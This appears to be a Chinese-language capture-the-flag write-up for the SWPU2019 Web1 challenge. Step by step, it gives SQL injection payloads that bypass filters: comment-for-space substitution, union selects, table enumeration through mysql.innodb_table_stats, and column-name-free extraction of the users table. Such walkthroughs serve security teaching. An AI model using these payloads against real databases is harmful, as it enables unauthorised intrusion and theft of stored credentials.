[SWPU2019]Web1
首先打开题目发现是一个登陆界面,尝试sql注入没有效果
发现可以注册就随便注册一个用户登陆
发现有一个广告申请发布
对这个广告申请发布进行各种注入攻击,发现有sql注入
点击广告详情发现sql语句报错:
就住它进行注入发现有过滤:
然后测试发现:过滤了空格,or,and,注释,updatexml,extractvalue
所以我们采用union注入,空格用/**/代替,注释采取单引号闭合
因为过滤了or
所有我们采用:
1'/**/group/**/by/**/1,'1
检测有几个字段最终在23处发现报错:
然后找出回显点:
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
发现在2,3处
查看当前数据库:
-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
得到:
获取表面
因为过滤了or所有information就不能用
我们采取mysql.innodb_table_stats来获取表名
获取表名:
-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
发现有两张表,先看users表,但是没有字段名
这里采取无字段名注入
原理参考这篇博客:
https://www.jianshu.com/p/dc9af4ca2d06
先获取users有几个字段用:
-1'/**/union/**/select/**/1,(select/**/group_concat(1)/**/from/**/users),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
得到:
得到字段值为3
获取表字段值
第一个字段值:
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1/**/as/**/b,2,3/**/union/**/select/**/*/**/from/**/users)hack),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
得到:
获取第二个字段:
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)hack),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
得到:
发现flag
在查看第三个字段:
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)hack),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
得到flag:
参考博客:
https://blog.csdn.net/weixin_45642610/article/details/114748031